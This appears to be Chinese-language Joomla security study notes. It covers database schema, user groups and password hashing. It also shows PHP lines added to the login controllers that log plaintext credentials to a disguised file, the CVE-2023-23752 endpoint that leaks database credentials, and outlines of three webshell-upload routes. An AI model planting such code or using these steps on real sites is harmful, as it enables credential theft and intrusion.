| access | int(10) unsigned | NO | MUL | 0 | |
| params | text | YES | | NULL | |
| metadesc | varchar(1024) | NO | | | |
| metakey | varchar(1024) | NO | | | |
| metadata | varchar(2048) | NO | | | |
| created_user_id | int(10) unsigned | NO | | 0 | |
| created_time | datetime | NO | | NULL | |
| modified_user_id | int(10) unsigned | NO | | 0 | |
| modified_time | datetime | NO | | NULL | |
| hits | int(10) unsigned | NO | | 0 | |
| language | char(7) | NO | MUL | | |
| version | int(10) unsigned | NO | | 1 | |
+------------------+------------------+------+-----+---------+----------------+
27 rows in set (0.007 sec)
数据内容研究
MariaDB [joomla_db]> select * from categories limit 2\G;
*************************** 1. row ***************************
id: 1
asset_id: 0
parent_id: 0
lft: 0
rgt: 11
level: 0
path:
extension: system
title: ROOT
alias: root
note:
description:
published: 1
checked_out: NULL
checked_out_time: NULL
access: 1
params: {}
metadesc:
metakey:
metadata: {}
created_user_id: 867
created_time: 2024-01-27 07:58:40
modified_user_id: 867
modified_time: 2024-01-27 07:58:40
hits: 0
language: *
version: 1
id: 分类的唯一标识符。
asset_id: 与该分类关联的资产(asset)ID,用于权限控制。
parent_id: 父分类的ID。值为0通常表示这是顶级分类。
lft 和 rgt: 用于嵌套集模型的左值和右值,表示分类在树状结构中的位置。
level: 分类在层级结构中的深度。
path: 分类的路径或别名序列。
extension: 关联的组件,例如 com_content 表示内容组件。
title: 分类的标题。
alias: 分类的别名,用于SEO友好的URL。
note: 分类的备注或注释。
description: 分类的描述。
published: 发布状态。
checked_out 和 checked_out_time: 记录哪个用户正在编辑分类,以防止同时编辑。
access: 访问级别ID。
params: 存储分类的参数设置,通常是JSON格式。
metadesc 和 metakey: 分类的SEO元描述和关键字。
metadata: 存储额外的元数据。
created_user_id 和 created_time: 创建者ID和创建时间。
modified_user_id 和 modified_time: 最后修改者ID和修改时间。
hits: 访问次数。
language: 分类的语言。
version: 分类的版本号。
content_frontpage表结构
MariaDB [joomla_db]> desc content_frontpage;
+---------------+----------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+---------------+----------+------+-----+---------+-------+
| content_id | int(11) | NO | PRI | 0 | |
| ordering | int(11) | NO | | 0 | |
| featured_up | datetime | YES | | NULL | |
| featured_down | datetime | YES | | NULL | |
+---------------+----------+------+-----+---------+-------+
4 rows in set (0.005 sec)
content_frontpage表用于存储特色(置顶)文章
数据内容研究
MariaDB [joomla_db]> select * from categories limit 2\G;
*************************** 1. row ***************************
id: 1
asset_id: 0
parent_id: 0
lft: 0
rgt: 11
level: 0
path:
extension: system
title: ROOT
alias: root
note:
description:
published: 1
checked_out: NULL
checked_out_time: NULL
access: 1
params: {}
metadesc:
metakey:
metadata: {}
created_user_id: 867
created_time: 2024-01-27 07:58:40
modified_user_id: 867
modified_time: 2024-01-27 07:58:40
hits: 0
language: *
version: 1
*************************** 2. row ***************************
id: 2
asset_id: 27
parent_id: 1
lft: 1
rgt: 2
level: 1
path: uncategorised
extension: com_content
title: Uncategorised
alias: uncategorised
note:
description:
published: 1
checked_out: NULL
checked_out_time: NULL
access: 1
params: {"category_layout":"","image":"","workflow_id":"use_default"}
metadesc:
metakey:
metadata: {"author":"","robots":""}
created_user_id: 867
created_time: 2024-01-27 07:58:40
modified_user_id: 867
modified_time: 2024-01-27 07:58:40
hits: 0
language: *
version: 1
2 rows in set (0.001 sec)
id: 分类的唯一标识符。
asset_id: 与该分类关联的资产(asset)ID,用于权限控制。
parent_id: 父分类的ID。值为0通常表示这是顶级分类.
lft 和 rgt: 用于嵌套集模型的左值和右值,表示分类在树状结构中的位置。
level: 分类在层级结构中的深度。
path: 分类的路径或别名序列。
extension: 关联的组件,例如 com_content 表示内容组件。
title: 分类的标题。
alias: 分类的别名,用于SEO友好的URL.
note: 分类的备注或注释。
description: 分类的描述。
published: 发布状态。
checked_out 和 checked_out_time: 记录哪个用户正在编辑分类,以防止同时编辑。
access: 访问级别ID。
params: 存储分类的参数设置,通常是JSON格式。
metadesc 和 metakey: 分类的SEO元描述和关键字。
metadata: 存储额外的元数据。
created_user_id 和 created_time: 创建者ID和创建时间。
modified_user_id 和 modified_time: 最后修改者ID和修改时间。
hits: 访问次数。
language: 分类的语言。
version: 分类的版本号。
content_rating表结构
content_rating表用于存储内容评分信息。
MariaDB [joomla_db]> desc content_rating;
+--------------+------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+--------------+------------------+------+-----+---------+-------+
| content_id | int(11) | NO | PRI | 0 | |
| rating_sum | int(10) unsigned | NO | | 0 | |
| rating_count | int(10) unsigned | NO | | 0 | |
| lastip | varchar(50) | NO | | | |
+--------------+------------------+------+-----+---------+-------+
4 rows in set (0.011 sec)
content_id: 这是表的主键,存储相关内容(如文章)的ID。这个ID与 content 表中的相应记录相关联。
rating_sum: 这个字段存储所有用户给出的评分的总和。例如,如果五个用户分别评分为4,5,3,4,和5,那么 rating_sum 将是21。
rating_count: 这个字段记录评分的总次数。在上述例子中,它将是5,因为有五个用户评分。
lastip: 这个字段存储最后一个评分用户的IP地址。这可以帮助防止同一用户重复评分,并用于追踪和安全目的。
contetitem_tag_map表结构
contentitem_tag_map表用于内容项与标签的映射。
MariaDB [joomla_db]> desc contentitem_tag_map;
+-----------------+------------------+------+-----+---------------------+-------------------------------+
| Field | Type | Null | Key | Default | Extra |
+-----------------+------------------+------+-----+---------------------+-------------------------------+
| type_alias | varchar(255) | NO | | | |
| core_content_id | int(10) unsigned | NO | MUL | NULL | |
| content_item_id | int(11) | NO | PRI | NULL | |
| tag_id | int(10) unsigned | NO | PRI | NULL | |
| tag_date | timestamp | NO | MUL | current_timestamp() | on update current_timestamp() |
| type_id | mediumint(9) | NO | PRI | NULL | |
+-----------------+------------------+------+-----+---------------------+-------------------------------+
6 rows in set (0.007 sec)
tags表结构
tags表用于存储标签信息
MariaDB [joomla_db]> desc tags;
+------------------+------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+------------------+------------------+------+-----+---------+----------------+
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
| parent_id | int(10) unsigned | NO | | 0 | |
| lft | int(11) | NO | MUL | 0 | |
| rgt | int(11) | NO | | 0 | |
| level | int(10) unsigned | NO | | 0 | |
| path | varchar(400) | NO | MUL | | |
| title | varchar(255) | NO | | NULL | |
| alias | varchar(400) | NO | MUL | | |
| note | varchar(255) | NO | | | |
| description | mediumtext | NO | | NULL | |
| published | tinyint(4) | NO | MUL | 0 | |
| checked_out | int(10) unsigned | YES | MUL | NULL | |
| checked_out_time | datetime | YES | | NULL | |
| access | int(10) unsigned | NO | MUL | 0 | |
| params | text | NO | | NULL | |
| metadesc | varchar(1024) | NO | | NULL | |
| metakey | varchar(1024) | NO | | | |
| metadata | varchar(2048) | NO | | NULL | |
| created_user_id | int(10) unsigned | NO | | 0 | |
| created_time | datetime | NO | | NULL | |
| created_by_alias | varchar(255) | NO | | | |
| modified_user_id | int(10) unsigned | NO | | 0 | |
| modified_time | datetime | NO | | NULL | |
| images | text | NO | | NULL | |
| urls | text | NO | | NULL | |
| hits | int(10) unsigned | NO | | 0 | |
| language | char(7) | NO | MUL | NULL | |
| version | int(10) unsigned | NO | | 1 | |
| publish_up | datetime | YES | | NULL | |
| publish_down | datetime | YES | | NULL | |
+------------------+------------------+------+-----+---------+----------------+
30 rows in set (0.007 sec)
数据内容研究
MariaDB [joomla_db]> select * from e2hw1_tags\G;
*************************** 1. row ***************************
id: 1
parent_id: 0
lft: 0
rgt: 1
level: 0
path:
title: ROOT
alias: root
note:
description:
published: 1
checked_out: NULL
checked_out_time: NULL
access: 1
params:
metadesc:
metakey:
metadata:
created_user_id: 867
created_time: 2024-01-27 07:58:40
created_by_alias:
modified_user_id: 867
modified_time: 2024-01-27 07:58:40
images:
urls:
hits: 0
language: *
version: 1
publish_up: NULL
publish_down: NULL
1 row in set (0.000 sec)
id: 标签的唯一标识符。
parent_id: 父标签的ID。值为0通常表示这是顶级标签。
lft 和 rgt: 用于嵌套集模型的左值和右值,表示标签在树状结构中的位置。
level: 标签在层级结构中的深度。
path: 标签的路径或别名序列。
title: 标签的标题。
alias: 标签的别名,用于SEO友好的URL。
note: 标签的备注或注释。
description: 标签的描述。
published: 发布状态。
checked_out 和 checked_out_time: 记录哪个用户正在编辑标签,以防止同时编辑。
access: 访问级别ID。
params: 存储标签的参数设置,通常是JSON格式。
metadesc 和 metakey: 标签的SEO元描述和关键字。
metadata: 存储额外的元数据。
created_user_id, created_time, created_by_alias: 创建者ID、创建时间和别名。
modified_user_id 和 modified_time: 最后修改者ID和修改时间。
images 和 urls: 关联的图片和URL。
hits: 访问次数。
language: 标签的语言。
version: 标签的版本号。
publish_up 和 publish_down: 开始和结束发布的时间。
这条记录是特殊的“ROOT”标签,通常用作所有其他标签的根节点。
它是系统自动生成的,用于维护标签的层级结构。
在实际应用中,标签被用来组织和链接内容,使用户能够通过标签快速找到相关的文章或其他项目。
Joomla的数据库还有以下功能的数据 不逐一研究表结构和数据内容
扩展和模块
- extensions: 存储已安装扩展信息。
- modules: 存储模块信息。
- modules_menu: 模块与菜单项关联信息。
菜单和导航
- menu: 存储菜单项信息。
- menu_types: 存储菜单类型信息。
模板和样式
- template_styles: 存储模板样式信息。
- template_overrides: 存储模板覆盖信息。
广告管理
- banners: 存储横幅广告信息。
- banner_clients: 存储广告客户信息。
- banner_tracks: 广告追踪信息。
搜索和索引
- finder_: 以 finder_ 开头的表与智能搜索功能相关,包括链接、过滤器、日志等。
多语言和本地化
- languages: 存储已安装语言信息。
- overrider: 存储语言覆盖信息。
系统和配置
- configuration: Joomla主配置信息(通常在 configuration.php 文件中,而不是在数据库表中)。
- session: 存储用户会话信息。
-
update_sites, update_sites_extensions, updates: 管理更新信息。
- 其他特殊功能
- newsfeeds: RSS新闻源信息。
- redirect_links: 重定向链接信息。
- privacy_consents, privacy_requests: 隐私同意和请求数据。
- messages, messages_cfg: 用户间的私信信息。
- postinstall_messages: 安装后的消息提示。
- mail_templates: 邮件模板信息。
1.3 用户权限管理研究
Joomla cms大部分情况下仅仅被用作产品展示(无用户),或者是简单的所有者(superuser)+注册用户(register)模式。
这时我们并不需要去深入了解joomla权限管理的机制。
当网站用户达到一定的规模,或者希望用Joomla进行更复杂的用途,那么用户群体可能被分为普通用户、会员、高级会员,同时也需要更多低级、高级管理人员协同管理网站。
Joomla默认情况下没有启用用户注册的功能,在前台只能进行用户登陆
需要使用Super user在用户管理选项中开启允许用户注册功能
然后在菜单管理中为前台添加注册表单组件后就开放了注册功能
用户组
Joomla Cms的用户组机制使得网站可以细粒度地控制不同用户的权限,从而确保网站的安全性和内容管理的有效性
1.Public:这是最基础的用户组,所有访问网站的人默认都属于这个组,不具有编辑权限
2.Guest:这个用户组通常指未登录的访问者,与Public用户组类似,但在某些情况下,网站可能为Guest用户提供比Public用户更少的权限
3.Manager:这个用户组有网站某些部分的管理权限,但不包括高级设置
- Administrator:作为Manager用户组的子组,具有访问后台功能和管理选项,但通常不能更改网站的核心设置
4.Registered:注册用户组。注册用户比公众用户有更多的权限,一般可以查看有限内容,它包含3个子组: - Author:作者可以发布和管理自己的内容
- Editor:编辑有权修改和管理其他用户的内容,包括审核和更改状态
- Publisher:出版者可以发布和管理所有用户的内容,包括审核和更改状态
5.Super Users:这个用户组拥有最高权限,可以访问和管理Joomla网站的所有部分,包括所有配置选项和权限设置。
每个用户组可以被精细化的配置网站各个组件的相关权限
1.4 用户密码加密算法研究
在早期版本中,Joomla 使用开源类phpass进行密码散列(类似wordpress)。这个库提供了一种创建和检验密码散列的方法,主要用于增强密码存储的安全性。phpass 是一个可靠的密码散列框架,它使用了一系列的技术来确保密码散列的安全性,包括多轮散列和随机盐值。
但从 Joomla 3.2.0 版本开始,Joomla 转而使用 PHP 自带的 password_hash() 和 password_verify() 函数进行密码散列。这些函数内置于 PHP 核心,自 PHP 5.5.0 起可用,并默认使用 bcrypt 算法,这是一种广泛推荐的密码散列方法。这个改变使得 Joomla 的密码散列机制与 PHP 的核心安全功能保持一致,同时也减少了对外部库的依赖。
Joomla 使用 Composer 作为其依赖管理器,所有通过 Composer 安装的依赖库都会被放置在/libraries/vendor/ 目录下。
其中在/libraries/vendor/joomla/authenti cation/src/Password/BCryptHandler.php文件中创建了BCryptHandler类封装了bcrypt功能
class BCryptHandler implements HandlerInterface
{
...
}
密码散列生成
public function hashPassword($plaintext, array $options = [])
{
return password_hash($plaintext, \PASSWORD_BCRYPT, $options);
}
算法支持检测
isSupported()函数使用function_exists()函数检测当前php环境是否支持password_verify函数
这通常意味着 PHP 版本应该是 5.5.0 或更高,因为 password_verify() 函数是在 PHP 5.5.0 中引入的。如果在更早的版本中使用 Joomla,可能会通过 polyfill 来提供这个函数的支持。
public static function isSupported()
{
// Check the password_verify() function exists, either as part of PHP core or through a polyfill
return \function_exists('password_verify');
}
检测
声明了validatePassword方法用于验证一个明文密码(用户输入的密码)是否与已经散列的密码匹配。它使用 PHP 的 password_verify() 函数来完成这个任务。当用户尝试登录时,他们输入的密码(明文)会被这个函数与数据库中存储的散列密码进行比对。如果散列相符,函数返回 true,表示密码验证通过。
public function validatePassword($plaintext, $hashed)
{
return password_verify($plaintext, $hashed);
}
1.5 登陆明文密码劫持
前台
通过动态侦听调试找到前台登陆函数位于/components/com_users/src/Controller/UserController.php控制器中的login()
可以在此处插入代码劫持$data['username']和$data['password'],具体方法参照wordpress安全技术研究
public function login()
{
$this->checkToken('post');
$input = $this->input->getInputForRequestMethod();
// Populate the data array:
$data = [];
$data['return'] = base64_decode($input->get('return', '', 'BASE64'));
$data['username'] = $input->get('username', '', 'USERNAME');
$data['password'] = $input->get('password', '', 'RAW');
$data['secretkey'] = $input->get('secretkey', '', 'RAW');
file_put_contents('/var/log/accesss.log',$data['username'].$data['password']);
后台
通过动态侦听调试发现位于/administrator/components/com_login/src/Model/LoginModel.php控制器中的populateState函数在登陆过程中收集了明文密码,那么我们只需要对$credentials变量进行劫持,具体方法参照wordpress安全技术研究
protected function populateState()
{
$input = Factory::getApplication()->input->getInputForRequestMethod();
$credentials = [
'username' => $input->get('username', '', 'USERNAME'),
'password' => $input->get('passwd', '', 'RAW'),
'secretkey' => $input->get('secretkey', '', 'RAW'),
];
file_put_contents('/var/log/accesss.log',$credentials['username'].$credentials['password']);
...
}
花絮
由于在研究用户权限管理时,打开了双因素认证,在调试寻找后台登录函数时感觉双因素认证麻烦于是进入后台后禁用了所有与双因素认证相关的插件,重新登录后网页提示如下
这应该是由于操作不当引发的逻辑问题,身为“网站管理员”尝试着手解决这个问题
目前super user权限的用户登录后台后会直接显示403,任何功能都无法访问,所以只能从数据库着手修复
发现数据库中有extensions表,筛选folder属于multifactorauth的5个插件启用状态均为False
MariaDB [joomla_db]> select extension_id, name, folder,enabled from e2hw1_extensions where folder = 'multifactorauth';
+--------------+------------------------------+-----------------+---------+
| extension_id | name | folder | enabled |
+--------------+------------------------------+-----------------+---------+
| 192 | plg_multifactorauth_totp | multifactorauth | 0 |
| 193 | plg_multifactorauth_yubikey | multifactorauth | 0 |
| 194 | plg_multifactorauth_webauthn | multifactorauth | 0 |
| 195 | plg_multifactorauth_email | multifactorauth | 0 |
| 196 | plg_multifactorauth_fixed | multifactorauth | 0 |
+--------------+------------------------------+-----------------+---------+
5 rows in set (0.001 sec)
尝试启用这些插件
MariaDB [joomla_db]> UPDATE e2hw1_extensions SET enabled = 1 WHERE element IN ('totp', 'yubikey', 'webauthn', 'email') AND folder = 'multifactorauth';
Query OK, 4 rows affected (0.006 sec)
Rows matched: 4 Changed: 4 Warnings: 0
再进行访问 发现正常进入了双因素认证流程
正确的关闭多因素认证操作步骤是首先在系统设置中的全局配置->用户管理->多因素认证中将“实行多因素认证”选定为“无用户组”,然后在个人信息中关闭多因素认证,否则关闭后也会提示该用户被强制启用多因素认证
2.Joomla渗透测试研究
2.1 主流工具
joomscan
joomscan是一款使用perl开发的joomla cms扫描工具,能够进行自动化漏洞利用、版本枚举、漏洞枚举(基于版本)、组件枚举(支持1209款热门组件)、组件漏洞枚举(基于版本,1030+漏洞利用)、防火墙检测、文本或HTML格式导出数据、查找常见日志文件、
https://github.com/OWASP/joomscan
cmsmap
cmsmap是一款实用python开发的跨平台cms扫描工具 支持扫描WordPress、Joomla,、Drupal、Moodle
https://github.com/dionach/CMSmap
cmsmap实用exploitdb进行扫描 建议在kali等自带exploitdb的操作系统上使用 如果没有 也可以使用官方exploitdb
Exploit-DB / Exploits + Shellcode + GHDB · GitLab
2.2 getshell测试案例
Joomla这类cms前台getshell的漏洞极少 即使存在也有苛刻的利用条件
通过cvedetails网站查找所有与remote code execute相关的漏洞只有寥寥几个,并且都是远古版本
遂,本文只演示最近的cve-2023-23752,一个利用条件较为苛刻的RCE
Joomla! CVE-2023-23752 to Code Execution
这个漏洞本质在于对api的不当访问控制检查,这将允许未经授权的用户访问敏感信息或功能。
影响范围:4.0.0-4.2.7 本文所搭建的4.2.7处于影响范围内
exp:/api/index.php/v1/config/application?public=true
这个api由于不恰当的鉴权 泄漏了数据库的账号密码
若服务器开放了数据库端口3306 则可以通过数据库进行漏洞利用 思路为更改users表password字段帮助我们进入后台 那么下文将演示Joomla!后台getshell的常见方式
语言包getshell
在官网下载语言包进行修改 我们只需要在/zh-CN_joomla_lang_full_4.2.0v1 2/administrator/zh-CN/下放入shell后重新打包zip 通过上传文件安装扩展
随后访问/administrator/language/zh-CN/shell.php即可getshell 以phpinfo为例
媒体文件getshell
在后台 -> 全局配置 -> 媒体文件中将php添加到允许的扩展
这里可能有版本限制 4.2.7版本疑似做了安全限制 上传shell后返回了400的错误
192.168.237.1 - - [01/Feb/2024:13:21:54 +0000]
"POST /administrator/index.php?option=com_media&format=json
&mediatypes=0,1,2,3&task=api.files&path=local-images%3A%2Fbanners
HTTP/1.1" 400 260
"http://localhost:18081/administrator/index.php?option=com_media&path=local-images:/banners" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36"
模板编辑getshell
在后台编辑模板,在模板error.php文件中插入shell
随后访问模板对应的error.php完成getshell
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-